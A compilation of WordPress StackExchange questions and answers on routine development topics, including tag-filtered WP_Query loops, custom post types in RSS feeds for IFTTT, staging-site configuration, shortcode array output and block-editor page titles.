<p>I am trying to get the loop to show only two tag that have the ID 53 and 52. the code without the "if is_tag( array( 53, 52 ) ){" works. I tried different thing but I can't get it to work.</p> <p>Thank you in advance your your help.</p> <pre><code>&lt;?php if is_tag( array( 53, 52 ) ){ while ( $projects-&gt;have_posts() ) { $projects-&gt;the_post(); ?&gt; &lt;div &lt;?php post_class(); ?&gt;&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;" class="thumb"&gt; &lt;?php the_post_thumbnail( $image_size ); ?&gt; &lt;div class="portfolio-hover"&gt; &lt;div class="portfolio-description"&gt; &lt;h4&gt;&lt;?php the_title(); ?&gt;&lt;/h4&gt; &lt;div&gt;&lt;?php the_excerpt(); ?&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/a&gt; &lt;/div&gt; &lt;?php } } </code></pre>
[ { "answer_id": 349965, "author": "Forzr", "author_id": 176417, "author_profile": "https://wordpress.stackexchange.com/users/176417", "pm_score": -1, "selected": false, "text": "<p>You can set a query only for specified tags:</p>\n\n<pre><code>$query = new WP_Query( 'tag_id=52,53' );\n\n// Loop\nwhile ( $the_query-&gt;have_posts() ) :\n $the_query-&gt;the_post();\n echo '&lt;h1&gt;' . get_the_title() . '&lt;/h1&gt;';\n echo '&lt;p&gt;' . the_excerpt() . '&lt;/p&gt;';\nendwhile;\n\n// Reset query\nwp_reset_query();\nwp_reset_postdata();\n</code></pre>\n" }, { "answer_id": 349980, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": 1, "selected": true, "text": "<p>Here are two alternative for you based on your actual query. If you're querying $projects->have_posts() on WP default blog (Post) you can use query like</p>\n\n<pre><code>$projects = new WP_Query( array( 'tag__in' =&gt; array( 52, 53 ) ) ); \n</code></pre>\n\n<p>Another is if you're querying on Custom Post Type you can use following query to get posts or your desire tags.</p>\n\n<pre><code>$array = array (\n'post_type' =&gt; 'your custom post type',\n'posts_per_page' =&gt; 10,\n// Your other criteria of the query\n'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; 'name of your tag taxonomy',\n 'field' =&gt; 'id',\n 'terms' =&gt; array(52,53)\n )\n);\n\n$projects = new WP_Query( $array );\n\nif ( $projects-&gt;have_posts() ){\n while ( $projects-&gt;have_posts() ) { $projects-&gt;the_post(); ?&gt;\n &lt;div &lt;?php post_class(); ?&gt;&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" class=\"thumb\"&gt;\n &lt;?php the_post_thumbnail( $image_size ); ?&gt;\n &lt;div class=\"portfolio-hover\"&gt;\n &lt;div class=\"portfolio-description\"&gt;\n &lt;h4&gt;&lt;?php the_title(); ?&gt;&lt;/h4&gt;\n &lt;div&gt;&lt;?php the_excerpt(); ?&gt;&lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/a&gt;\n &lt;/div&gt;\n &lt;?php \n }\n}\n</code></pre>\n" } ]
2019/10/07
[ "https://wordpress.stackexchange.com/questions/349961", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/45750/" ]
I am trying to get the loop to show only two tag that have the ID 53 and 52. the code without the "if is\_tag( array( 53, 52 ) ){" works. I tried different thing but I can't get it to work. Thank you in advance your your help. ``` <?php if is_tag( array( 53, 52 ) ){ while ( $projects->have_posts() ) { $projects->the_post(); ?> <div <?php post_class(); ?>> <a href="<?php the_permalink(); ?>" class="thumb"> <?php the_post_thumbnail( $image_size ); ?> <div class="portfolio-hover"> <div class="portfolio-description"> <h4><?php the_title(); ?></h4> <div><?php the_excerpt(); ?></div> </div> </div> </a> </div> <?php } } ```
Here are two alternative for you based on your actual query. If you're querying $projects->have\_posts() on WP default blog (Post) you can use query like ``` $projects = new WP_Query( array( 'tag__in' => array( 52, 53 ) ) ); ``` Another is if you're querying on Custom Post Type you can use following query to get posts or your desire tags. ``` $array = array ( 'post_type' => 'your custom post type', 'posts_per_page' => 10, // Your other criteria of the query 'tax_query' => array( array( 'taxonomy' => 'name of your tag taxonomy', 'field' => 'id', 'terms' => array(52,53) ) ); $projects = new WP_Query( $array ); if ( $projects->have_posts() ){ while ( $projects->have_posts() ) { $projects->the_post(); ?> <div <?php post_class(); ?>> <a href="<?php the_permalink(); ?>" class="thumb"> <?php the_post_thumbnail( $image_size ); ?> <div class="portfolio-hover"> <div class="portfolio-description"> <h4><?php the_title(); ?></h4> <div><?php the_excerpt(); ?></div> </div> </div> </a> </div> <?php } } ```
350,002
<p>I have my wordpress site. Which has the normal "post" and a custom post type "download", I Currently use IFTTT, (If This Then That Service) to post my wordpress posts to Twitter.</p> <p>The IFTTT recipe works perfectly for my posts, and tweets as soon as I publish any post. You can check my site <a href="https://milyin.com" rel="nofollow noreferrer">https://milyin.com</a>, and my twitter account is <a href="https://twitter.com/milyincrealtors/" rel="nofollow noreferrer">https://twitter.com/milyincrealtors/</a></p> <p>The problem is that, this works only for normal wordpress posts. I searched IFTTT for applets to include custom post types, that didn't work, and i can not find a solution on stack exchange also.</p> <p>How can i use IFTTT, to tweet any new post of post type 'download'</p> <p>I love IFTTT, and i don't want any plugins that slow down my site. So please provide me with the code, that ensures that my IFTTT applet is triggered for this custom post type also.</p>
[ { "answer_id": 350039, "author": "maheshwaghmare", "author_id": 52167, "author_profile": "https://wordpress.stackexchange.com/users/52167", "pm_score": 0, "selected": false, "text": "<p>This is the off topic question. But the answer is yes it is possible.</p>\n\n<p>In IFTTT we can use the Feed applet like \"Feed to Tweet\".</p>\n\n<p>So, Just create the the Feed applet with your custom post type feed URL.</p>\n\n<p>WordPress generates the feed URL for each post type. You can get it as below:</p>\n\n<pre><code>https://yourwebsite.com/feed/?post_type={post-type-slug}\n</code></pre>\n\n<p>E.g. Feed URL of custom post type \"Shortcode\" is </p>\n\n<pre><code>https://wpdigits.com/feed/?post_type=shortcode\n</code></pre>\n\n<p>See the <a href=\"https://wpdigits.com/feed/?post_type=shortcode\" rel=\"nofollow noreferrer\">Shortcode post type feed URL</a>.</p>\n" }, { "answer_id": 350398, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 2, "selected": true, "text": "<p>IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick...</p>\n\n<pre><code>function add_cpt_to_loop_and_feed( $query ) {\n if ( is_home() &amp;&amp; $query-&gt;is_main_query() || is_feed() ) \n $query-&gt;set( 'post_type', array( 'post', 'download' ) ); \n return $query;\n }\n</code></pre>\n" } ]
2019/10/08
[ "https://wordpress.stackexchange.com/questions/350002", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/166927/" ]
I have my wordpress site. Which has the normal "post" and a custom post type "download", I Currently use IFTTT, (If This Then That Service) to post my wordpress posts to Twitter. The IFTTT recipe works perfectly for my posts, and tweets as soon as I publish any post. You can check my site <https://milyin.com>, and my twitter account is <https://twitter.com/milyincrealtors/> The problem is that, this works only for normal wordpress posts. I searched IFTTT for applets to include custom post types, that didn't work, and i can not find a solution on stack exchange also. How can i use IFTTT, to tweet any new post of post type 'download' I love IFTTT, and i don't want any plugins that slow down my site. So please provide me with the code, that ensures that my IFTTT applet is triggered for this custom post type also.
IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick... ``` function add_cpt_to_loop_and_feed( $query ) { if ( is_home() && $query->is_main_query() || is_feed() ) $query->set( 'post_type', array( 'post', 'download' ) ); return $query; } ```
350,008
<p>I've been using staging sites for years. So I'm not asking about the necessary difference to setup a working staging site such as <a href="https://developer.wordpress.org/cli/commands/search-replace/" rel="nofollow noreferrer">search replacing</a> URLs, dev version control branches, changing table prefixes etc.</p> <p>I'm asking for differences which improve security, workflow or quality of life. Differences in options or <code>wp-config.php</code> established upon initial environment creation or when transferring between different environments. Here's some examples I currently establish:</p> <ul> <li><code>blog_public</code> db option - Allow search engine crawlers in live, block search engine crawlers in staging. </li> <li><a href="https://wordpress.org/plugins/litespeed-cache/" rel="nofollow noreferrer">LiteSpeed Cache plugin</a> (or equivalent) - Activate cache in live, deactivate cache in staging.</li> <li><a href="https://jetpack.com/support/development-mode/" rel="nofollow noreferrer"><code>JETPACK_DEV_DEBUG</code></a> - Set to <em>false</em> in live, set <em>true</em> in staging.</li> <li><code>WP_DEBUG</code> in wp-config.php - Set to <em>false</em> in live, set <em>true</em> in staging (Actually I don't do this as my staging sites are publicly accessible but it's a plausible example)</li> <li><code>DISALLOW_FILE_MODS</code> in wp-config.php - Set to <em>true</em> in live, set <em>false</em> in staging.</li> <li><code>AUTOMATIC_UPDATER_DISABLED</code> - Set to true in <em>live</em>, set <em>false</em> in staging.</li> </ul> <p>Things I intend to setup but haven't yet:</p> <ul> <li>WooCommerce payment gateways - Enable test mode in staging, disable in live.</li> <li>WooCommerce test store message - Activate WooCommerce store notice on staging, deactivate on live.</li> </ul> <p>Got any more? Along with core I'm looking for differences that oil the gears of popular plugins such as WooCommerce, Wordfence, Yoast SEO, Jetpack etc.</p> <p>I tried to research this topic but the search results are drowned out by the plethora of boilerplate staging site setup tutorials. I tried posting on Reddit but that was also drowned out by subsequent posts. So keen to hear your ideas! </p>
[ { "answer_id": 350039, "author": "maheshwaghmare", "author_id": 52167, "author_profile": "https://wordpress.stackexchange.com/users/52167", "pm_score": 0, "selected": false, "text": "<p>This is the off topic question. But the answer is yes it is possible.</p>\n\n<p>In IFTTT we can use the Feed applet like \"Feed to Tweet\".</p>\n\n<p>So, Just create the the Feed applet with your custom post type feed URL.</p>\n\n<p>WordPress generates the feed URL for each post type. You can get it as below:</p>\n\n<pre><code>https://yourwebsite.com/feed/?post_type={post-type-slug}\n</code></pre>\n\n<p>E.g. Feed URL of custom post type \"Shortcode\" is </p>\n\n<pre><code>https://wpdigits.com/feed/?post_type=shortcode\n</code></pre>\n\n<p>See the <a href=\"https://wpdigits.com/feed/?post_type=shortcode\" rel=\"nofollow noreferrer\">Shortcode post type feed URL</a>.</p>\n" }, { "answer_id": 350398, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 2, "selected": true, "text": "<p>IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick...</p>\n\n<pre><code>function add_cpt_to_loop_and_feed( $query ) {\n if ( is_home() &amp;&amp; $query-&gt;is_main_query() || is_feed() ) \n $query-&gt;set( 'post_type', array( 'post', 'download' ) ); \n return $query;\n }\n</code></pre>\n" } ]
2019/10/08
[ "https://wordpress.stackexchange.com/questions/350008", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58884/" ]
I've been using staging sites for years. So I'm not asking about the necessary difference to setup a working staging site such as [search replacing](https://developer.wordpress.org/cli/commands/search-replace/) URLs, dev version control branches, changing table prefixes etc. I'm asking for differences which improve security, workflow or quality of life. Differences in options or `wp-config.php` established upon initial environment creation or when transferring between different environments. Here's some examples I currently establish: * `blog_public` db option - Allow search engine crawlers in live, block search engine crawlers in staging. * [LiteSpeed Cache plugin](https://wordpress.org/plugins/litespeed-cache/) (or equivalent) - Activate cache in live, deactivate cache in staging. * [`JETPACK_DEV_DEBUG`](https://jetpack.com/support/development-mode/) - Set to *false* in live, set *true* in staging. * `WP_DEBUG` in wp-config.php - Set to *false* in live, set *true* in staging (Actually I don't do this as my staging sites are publicly accessible but it's a plausible example) * `DISALLOW_FILE_MODS` in wp-config.php - Set to *true* in live, set *false* in staging. * `AUTOMATIC_UPDATER_DISABLED` - Set to true in *live*, set *false* in staging. Things I intend to setup but haven't yet: * WooCommerce payment gateways - Enable test mode in staging, disable in live. * WooCommerce test store message - Activate WooCommerce store notice on staging, deactivate on live. Got any more? Along with core I'm looking for differences that oil the gears of popular plugins such as WooCommerce, Wordfence, Yoast SEO, Jetpack etc. I tried to research this topic but the search results are drowned out by the plethora of boilerplate staging site setup tutorials. I tried posting on Reddit but that was also drowned out by subsequent posts. So keen to hear your ideas!
IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick... ``` function add_cpt_to_loop_and_feed( $query ) { if ( is_home() && $query->is_main_query() || is_feed() ) $query->set( 'post_type', array( 'post', 'download' ) ); return $query; } ```
350,019
<p>I used this <a href="https://wordpress.org/plugins/mailchimp-wp/" rel="nofollow noreferrer">https://wordpress.org/plugins/mailchimp-wp/</a> plugin to add an opt-in form on every page. Now I want to disable a page to auto-insert this form and make a landing page. I'll use a different opt-in form for that landing page, how can I do that? Thanks </p> <p>Note: that plugin does not support except page.</p>
[ { "answer_id": 350039, "author": "maheshwaghmare", "author_id": 52167, "author_profile": "https://wordpress.stackexchange.com/users/52167", "pm_score": 0, "selected": false, "text": "<p>This is the off topic question. But the answer is yes it is possible.</p>\n\n<p>In IFTTT we can use the Feed applet like \"Feed to Tweet\".</p>\n\n<p>So, Just create the the Feed applet with your custom post type feed URL.</p>\n\n<p>WordPress generates the feed URL for each post type. You can get it as below:</p>\n\n<pre><code>https://yourwebsite.com/feed/?post_type={post-type-slug}\n</code></pre>\n\n<p>E.g. Feed URL of custom post type \"Shortcode\" is </p>\n\n<pre><code>https://wpdigits.com/feed/?post_type=shortcode\n</code></pre>\n\n<p>See the <a href=\"https://wpdigits.com/feed/?post_type=shortcode\" rel=\"nofollow noreferrer\">Shortcode post type feed URL</a>.</p>\n" }, { "answer_id": 350398, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 2, "selected": true, "text": "<p>IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick...</p>\n\n<pre><code>function add_cpt_to_loop_and_feed( $query ) {\n if ( is_home() &amp;&amp; $query-&gt;is_main_query() || is_feed() ) \n $query-&gt;set( 'post_type', array( 'post', 'download' ) ); \n return $query;\n }\n</code></pre>\n" } ]
2019/10/08
[ "https://wordpress.stackexchange.com/questions/350019", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/109805/" ]
I used this <https://wordpress.org/plugins/mailchimp-wp/> plugin to add an opt-in form on every page. Now I want to disable a page to auto-insert this form and make a landing page. I'll use a different opt-in form for that landing page, how can I do that? Thanks Note: that plugin does not support except page.
IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick... ``` function add_cpt_to_loop_and_feed( $query ) { if ( is_home() && $query->is_main_query() || is_feed() ) $query->set( 'post_type', array( 'post', 'download' ) ); return $query; } ```
350,034
<p>I want all posts of type 'ajde_events' as a row each with a column for some basics from the post table and some ( not all ) associated postmeta values. I have cribbed the following from this post <a href="https://wordpress.stackexchange.com/questions/251944/how-to-display-multiple-post-meta-key-meta-values-by-sql-query">How to display multiple Post meta_key/meta_values by SQL query</a> but as the op says in a comment it only returns a single row ( which seems to be the row where the location is a string starting with "Z" which I suspect is the "Highest" i.e. maximum string.</p> <pre><code>SELECT p.ID, p.post_title, MAX(IF(PM.meta_key = 'evcal_location', PM.meta_value, NULL)) AS location, MAX(IF(PM.meta_key = 'evcal_srow', PM.meta_value, NULL)) AS start_time FROM wp_posts AS p LEFT JOIN wp_postmeta AS pm ON p.ID = pm.post_id WHERE post_type = 'ajde_events' AND post_status = 'publish' ORDER BY p.ID </code></pre> <p>How do I get a row for each relevant post?</p>
[ { "answer_id": 350039, "author": "maheshwaghmare", "author_id": 52167, "author_profile": "https://wordpress.stackexchange.com/users/52167", "pm_score": 0, "selected": false, "text": "<p>This is the off topic question. But the answer is yes it is possible.</p>\n\n<p>In IFTTT we can use the Feed applet like \"Feed to Tweet\".</p>\n\n<p>So, Just create the the Feed applet with your custom post type feed URL.</p>\n\n<p>WordPress generates the feed URL for each post type. You can get it as below:</p>\n\n<pre><code>https://yourwebsite.com/feed/?post_type={post-type-slug}\n</code></pre>\n\n<p>E.g. Feed URL of custom post type \"Shortcode\" is </p>\n\n<pre><code>https://wpdigits.com/feed/?post_type=shortcode\n</code></pre>\n\n<p>See the <a href=\"https://wpdigits.com/feed/?post_type=shortcode\" rel=\"nofollow noreferrer\">Shortcode post type feed URL</a>.</p>\n" }, { "answer_id": 350398, "author": "Aditya Agarwal", "author_id": 166927, "author_profile": "https://wordpress.stackexchange.com/users/166927", "pm_score": 2, "selected": true, "text": "<p>IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick...</p>\n\n<pre><code>function add_cpt_to_loop_and_feed( $query ) {\n if ( is_home() &amp;&amp; $query-&gt;is_main_query() || is_feed() ) \n $query-&gt;set( 'post_type', array( 'post', 'download' ) ); \n return $query;\n }\n</code></pre>\n" } ]
2019/10/08
[ "https://wordpress.stackexchange.com/questions/350034", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119764/" ]
I want all posts of type 'ajde\_events' as a row each with a column for some basics from the post table and some ( not all ) associated postmeta values. I have cribbed the following from this post [How to display multiple Post meta\_key/meta\_values by SQL query](https://wordpress.stackexchange.com/questions/251944/how-to-display-multiple-post-meta-key-meta-values-by-sql-query) but as the op says in a comment it only returns a single row ( which seems to be the row where the location is a string starting with "Z" which I suspect is the "Highest" i.e. maximum string. ``` SELECT p.ID, p.post_title, MAX(IF(PM.meta_key = 'evcal_location', PM.meta_value, NULL)) AS location, MAX(IF(PM.meta_key = 'evcal_srow', PM.meta_value, NULL)) AS start_time FROM wp_posts AS p LEFT JOIN wp_postmeta AS pm ON p.ID = pm.post_id WHERE post_type = 'ajde_events' AND post_status = 'publish' ORDER BY p.ID ``` How do I get a row for each relevant post?
IFTTT works from RSS feed, simply including your post in wordpress RSS feed can do the trick... ``` function add_cpt_to_loop_and_feed( $query ) { if ( is_home() && $query->is_main_query() || is_feed() ) $query->set( 'post_type', array( 'post', 'download' ) ); return $query; } ```
350,060
<p>i have some fields, which i would like to print out with an shortcode with one attribute. i have normal variables and arrays, with my code only the first value of an array is printed... <strong>should i use implode?</strong></p> <pre><code>function leweb_test( $atts ) { $atts = shortcode_atts( array( 'field' =&gt; 'user_email', ) , $atts ); $value = um_user( $atts['field'] ); if( is_array( $value ) == TRUE ) { foreach( $value AS $field ) { return $field; } } else { return $value; } } add_shortcode( 'leweb_test_shortcode', 'leweb_test' ); </code></pre>
[ { "answer_id": 350070, "author": "Krzysiek Dróżdż", "author_id": 34172, "author_profile": "https://wordpress.stackexchange.com/users/34172", "pm_score": 2, "selected": true, "text": "<p>Shortcode should return string ready to append to content. You can’t return an array, because it won’t be printed correctly.</p>\n\n<p>So if your shortcode should return an array, you have to figure out how this data should be formatted.</p>\n\n<p>One way to do it is to use commas to separate the values:</p>\n\n<pre><code>return implode( ', ', $value );\n</code></pre>\n\n<p>Another way is to format it as an list (ul/ol):</p>\n\n<pre><code>$result = '&lt;ul&gt;';\nforeach ( $values as $item ) {\n $result .= '&lt;li&gt;' . esc_html( $item ) . '&lt;/li&gt;';\n}\n$result .= '&lt;/ul&gt;';\n return $result;\n</code></pre>\n\n<p>And the biggest problem with your code is that you use return inside of foreach loop. If the function returns anything, then it stops working and exits. So if you do this:</p>\n\n<pre><code>foreach( $value AS $field ) {\n return $field;\n}\n</code></pre>\n\n<p>Then you literally say that you should loop through the array and in the first iteration the value should be returned (so the function should stop working after it). So yes - this loop will return only first item of an array.</p>\n" }, { "answer_id": 411191, "author": "nicmare", "author_id": 74101, "author_profile": "https://wordpress.stackexchange.com/users/74101", "pm_score": 0, "selected": false, "text": "<p>simply use maybe_serialize() first and then maybe_unserialize(). This way you can pass the array as a string and convert it back to an array!</p>\n" } ]
2019/10/09
[ "https://wordpress.stackexchange.com/questions/350060", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/154739/" ]
i have some fields, which i would like to print out with an shortcode with one attribute. i have normal variables and arrays, with my code only the first value of an array is printed... **should i use implode?** ``` function leweb_test( $atts ) { $atts = shortcode_atts( array( 'field' => 'user_email', ) , $atts ); $value = um_user( $atts['field'] ); if( is_array( $value ) == TRUE ) { foreach( $value AS $field ) { return $field; } } else { return $value; } } add_shortcode( 'leweb_test_shortcode', 'leweb_test' ); ```
Shortcode should return string ready to append to content. You can’t return an array, because it won’t be printed correctly. So if your shortcode should return an array, you have to figure out how this data should be formatted. One way to do it is to use commas to separate the values: ``` return implode( ', ', $value ); ``` Another way is to format it as an list (ul/ol): ``` $result = '<ul>'; foreach ( $values as $item ) { $result .= '<li>' . esc_html( $item ) . '</li>'; } $result .= '</ul>'; return $result; ``` And the biggest problem with your code is that you use return inside of foreach loop. If the function returns anything, then it stops working and exits. So if you do this: ``` foreach( $value AS $field ) { return $field; } ``` Then you literally say that you should loop through the array and in the first iteration the value should be returned (so the function should stop working after it). So yes - this loop will return only first item of an array.
350,090
<p>I would like to change one thing on my wordpress custom template - there are big image sliders used throughout the site except on the contact us, checkout and my account pages. The blog page was added after these were created, so in the header.php file this is what is currently there to exclude the slider images (or include) from the necessary pages: </p> <pre><code>if(!is_cart() &amp;&amp; !is_checkout() &amp;&amp; !is_account_page()) : if(is_page( 'contact-us' )): get_template_part( 'template-parts/header/header', 'map' ); else: get_template_part( 'template-parts/header/header', 'slider' ); endif; endif; </code></pre> <p>I added this to the code and it doesn't work:</p> <pre><code>if(**!is_blog() &amp;&amp;** !is_cart() &amp;&amp; !is_checkout() &amp;&amp; !is_account_page()) : if(is_page( 'contact-us' )): get_template_part( 'template-parts/header/header', 'map' ); else: get_template_part( 'template-parts/header/header', 'slider' ); endif; endif; </code></pre> <p>It seemed to me that is all I would need to do but clearly I need some assistance. </p>
[ { "answer_id": 350070, "author": "Krzysiek Dróżdż", "author_id": 34172, "author_profile": "https://wordpress.stackexchange.com/users/34172", "pm_score": 2, "selected": true, "text": "<p>Shortcode should return string ready to append to content. You can’t return an array, because it won’t be printed correctly.</p>\n\n<p>So if your shortcode should return an array, you have to figure out how this data should be formatted.</p>\n\n<p>One way to do it is to use commas to separate the values:</p>\n\n<pre><code>return implode( ', ', $value );\n</code></pre>\n\n<p>Another way is to format it as an list (ul/ol):</p>\n\n<pre><code>$result = '&lt;ul&gt;';\nforeach ( $values as $item ) {\n $result .= '&lt;li&gt;' . esc_html( $item ) . '&lt;/li&gt;';\n}\n$result .= '&lt;/ul&gt;';\n return $result;\n</code></pre>\n\n<p>And the biggest problem with your code is that you use return inside of foreach loop. If the function returns anything, then it stops working and exits. So if you do this:</p>\n\n<pre><code>foreach( $value AS $field ) {\n return $field;\n}\n</code></pre>\n\n<p>Then you literally say that you should loop through the array and in the first iteration the value should be returned (so the function should stop working after it). So yes - this loop will return only first item of an array.</p>\n" }, { "answer_id": 411191, "author": "nicmare", "author_id": 74101, "author_profile": "https://wordpress.stackexchange.com/users/74101", "pm_score": 0, "selected": false, "text": "<p>simply use maybe_serialize() first and then maybe_unserialize(). This way you can pass the array as a string and convert it back to an array!</p>\n" } ]
2019/10/09
[ "https://wordpress.stackexchange.com/questions/350090", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176497/" ]
I would like to change one thing on my wordpress custom template - there are big image sliders used throughout the site except on the contact us, checkout and my account pages. The blog page was added after these were created, so in the header.php file this is what is currently there to exclude the slider images (or include) from the necessary pages: ``` if(!is_cart() && !is_checkout() && !is_account_page()) : if(is_page( 'contact-us' )): get_template_part( 'template-parts/header/header', 'map' ); else: get_template_part( 'template-parts/header/header', 'slider' ); endif; endif; ``` I added this to the code and it doesn't work: ``` if(**!is_blog() &&** !is_cart() && !is_checkout() && !is_account_page()) : if(is_page( 'contact-us' )): get_template_part( 'template-parts/header/header', 'map' ); else: get_template_part( 'template-parts/header/header', 'slider' ); endif; endif; ``` It seemed to me that is all I would need to do but clearly I need some assistance.
Shortcode should return string ready to append to content. You can’t return an array, because it won’t be printed correctly. So if your shortcode should return an array, you have to figure out how this data should be formatted. One way to do it is to use commas to separate the values: ``` return implode( ', ', $value ); ``` Another way is to format it as an list (ul/ol): ``` $result = '<ul>'; foreach ( $values as $item ) { $result .= '<li>' . esc_html( $item ) . '</li>'; } $result .= '</ul>'; return $result; ``` And the biggest problem with your code is that you use return inside of foreach loop. If the function returns anything, then it stops working and exits. So if you do this: ``` foreach( $value AS $field ) { return $field; } ``` Then you literally say that you should loop through the array and in the first iteration the value should be returned (so the function should stop working after it). So yes - this loop will return only first item of an array.
350,166
<p>I want to get/show only available tags under custom taxonomy. Here's my code;</p> <pre><code>$tax = $wp_query-&gt;get_queried_object(); // print current taxonomy $args = array( 'post_type' =&gt; 'types', // CPT 'taxonomy' =&gt; $tax-&gt;slug, //get current taxonomy page 'orderby' =&gt; 'name', 'order' =&gt; 'DESC', 'hide_empty' =&gt; false ); $tags = get_tags( $args ); foreach ( $tags as $tag ) { echo '&lt;li&gt;'.$tag-&gt;name.'&lt;/li&gt;'; } </code></pre> <p>My problem is in other page which don't have the tags under the taxonomy always shows. Any suggestion to this?</p>
[ { "answer_id": 350135, "author": "Anaksunaman", "author_id": 172305, "author_profile": "https://wordpress.stackexchange.com/users/172305", "pm_score": 1, "selected": false, "text": "<blockquote>\n <p>Can I install a WordPress site locally from a <code>.tar.gz</code> file?</p>\n</blockquote>\n\n<p>This likely depends entirely on the contents of the archive. <code>.tar.gz</code> is just a compression format. You will have to extract it to have any website work correctly but otherwise the particular storage format has no bearing on your question.</p>\n\n<blockquote>\n <p>I created a backup, which produced a <code>.tar.gz</code> file. I also downloaded the public folder as a zip (has wp-content, wp-includes, etc).</p>\n</blockquote>\n\n<p>Wordpress typically requires a database to run. You don't mention whether or not you have a backup of this, but if you don't, you may run into issues.</p>\n\n<blockquote>\n <p>I am redesigning the site, but I need to be able to view these old pages/content.</p>\n</blockquote>\n\n<p>In theory it's possible to reproduce a site locally. But dynamic sites like those produced with Wordpress may be more difficult.</p>\n" }, { "answer_id": 350191, "author": "Daansk44", "author_id": 143433, "author_profile": "https://wordpress.stackexchange.com/users/143433", "pm_score": 0, "selected": false, "text": "<ul>\n<li>Make a dump from the database</li>\n<li>Download the tar.gz file</li>\n</ul>\n\n<p>** </p>\n\n<ul>\n<li>Import the database</li>\n<li>Upload tar to new host</li>\n</ul>\n" }, { "answer_id": 388365, "author": "Quinton", "author_id": 206539, "author_profile": "https://wordpress.stackexchange.com/users/206539", "pm_score": 1, "selected": false, "text": "<p>I created a little guide I made on how to restore your WordPress site from a .tar.gz backup, without the need for any database, etc. changes to your config files. Maybe it can help someone...</p>\n<p><a href=\"https://youtu.be/F84btYZx8Lc\" rel=\"nofollow noreferrer\">https://youtu.be/F84btYZx8Lc</a></p>\n" } ]
2019/10/10
[ "https://wordpress.stackexchange.com/questions/350166", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/154507/" ]
I want to get/show only available tags under custom taxonomy. Here's my code; ``` $tax = $wp_query->get_queried_object(); // print current taxonomy $args = array( 'post_type' => 'types', // CPT 'taxonomy' => $tax->slug, //get current taxonomy page 'orderby' => 'name', 'order' => 'DESC', 'hide_empty' => false ); $tags = get_tags( $args ); foreach ( $tags as $tag ) { echo '<li>'.$tag->name.'</li>'; } ``` My problem is in other page which don't have the tags under the taxonomy always shows. Any suggestion to this?
> > Can I install a WordPress site locally from a `.tar.gz` file? > > > This likely depends entirely on the contents of the archive. `.tar.gz` is just a compression format. You will have to extract it to have any website work correctly but otherwise the particular storage format has no bearing on your question. > > I created a backup, which produced a `.tar.gz` file. I also downloaded the public folder as a zip (has wp-content, wp-includes, etc). > > > Wordpress typically requires a database to run. You don't mention whether or not you have a backup of this, but if you don't, you may run into issues. > > I am redesigning the site, but I need to be able to view these old pages/content. > > > In theory it's possible to reproduce a site locally. But dynamic sites like those produced with Wordpress may be more difficult.
350,203
<p>I would like to be able to add Gutenberg blocks to an ACF options page. I've been doing quite a bit of researching but have found nothing. For instance it would be nice to have a footer block and have it rendered/previewed on the "Footer" options page like it would be on the front end. Anyone know if this is possible?</p>
[ { "answer_id": 376072, "author": "Łukasz Górski", "author_id": 195750, "author_profile": "https://wordpress.stackexchange.com/users/195750", "pm_score": 1, "selected": false, "text": "<p>Create a page named as your archive, add blocks there. In archive-name.php please add:</p>\n<pre><code>&lt;?php get_header();\n\n$page_id = get_post( 57 );\n$page = apply_filters( 'the_content', $page-&gt;post_content );\n\necho $page; ?&gt;\n\n&lt;?php get_footer();\n</code></pre>\n<p>Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.</p>\n" }, { "answer_id": 383907, "author": "user1954838", "author_id": 29282, "author_profile": "https://wordpress.stackexchange.com/users/29282", "pm_score": 0, "selected": false, "text": "<p>Another workaround but maybe useful to others: I use a custom post type called &quot;Globals&quot; to store block templates used for global sections of the site such as footer.</p>\n<p>It would be nice to be able to use an options page but I don't think its possible at the moment.</p>\n" } ]
2019/10/10
[ "https://wordpress.stackexchange.com/questions/350203", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/69781/" ]
I would like to be able to add Gutenberg blocks to an ACF options page. I've been doing quite a bit of researching but have found nothing. For instance it would be nice to have a footer block and have it rendered/previewed on the "Footer" options page like it would be on the front end. Anyone know if this is possible?
Create a page named as your archive, add blocks there. In archive-name.php please add: ``` <?php get_header(); $page_id = get_post( 57 ); $page = apply_filters( 'the_content', $page->post_content ); echo $page; ?> <?php get_footer(); ``` Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.
350,206
<p>I'm building a custom theme and it's my first time doing this with the new(ish) block editor.</p> <p>Can I ask - where on earth to add the page title in the backend block editor? In the old editor you just added it at the top of the page.</p> <p>I've added a 'title' but this is just the h2 default title, not the page title/name.</p> <p>Image-1 shows the page being nameless, Image-2 shows the H2 title.</p> <p><a href="https://i.stack.imgur.com/FPyw0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FPyw0.png" alt="enter image description here"></a></p> <p><a href="https://i.stack.imgur.com/94RPO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/94RPO.png" alt="enter image description here"></a> Many thanks,</p> <p>Emily</p>
